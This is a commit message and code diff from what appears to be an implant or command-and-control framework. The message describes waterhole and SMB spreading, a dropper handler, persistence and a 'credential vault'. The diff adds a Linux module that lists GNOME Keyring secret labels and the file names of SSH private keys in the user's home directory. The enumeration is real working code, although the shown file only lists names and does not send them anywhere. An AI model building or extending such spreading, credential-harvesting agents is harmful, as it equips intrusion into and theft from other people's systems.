feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/client/credential_vault_linux.go

@@ -0,0 +1,49 @@
+//go:build linux
+
+package client
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+)
+
+func platformCredentialNames() ([]credentialEntry, string) {
+	var entries []credentialEntry
+	out, err := silentCombinedOutput("secret-tool", "search", "--all")
+	if err == nil {
+		for _, line := range strings.Split(string(out), "\n") {
+			line = strings.TrimSpace(line)
+			if strings.HasPrefix(line, "label = ") {
+				name := strings.TrimSpace(strings.TrimPrefix(line, "label = "))
+				if name != "" {
+					entries = append(entries, credentialEntry{
+						Name:   name,
+						Source: "secret-service",
+						Type:   "label",
+					})
+				}
+			}
+		}
+	}
+	home, _ := os.UserHomeDir()
+	if home != "" {
+		sshDir := filepath.Join(home, ".ssh")
+		matches, _ := filepath.Glob(filepath.Join(sshDir, "id_*"))
+		for _, m := range matches {
+			if strings.HasSuffix(m, ".pub") {
+				continue
+			}
+			entries = append(entries, credentialEntry{
+				Name:   filepath.Base(m),
+				Source: "~/.ssh",
+				Type:   "ssh_key",
+			})
+		}
+	}
+	note := "secret-service labels and SSH key paths only"
+	if len(entries) == 0 {
+		note += " (install libsecret secret-tool for GNOME Keyring listing)"
+	}
+	return entries, note
+}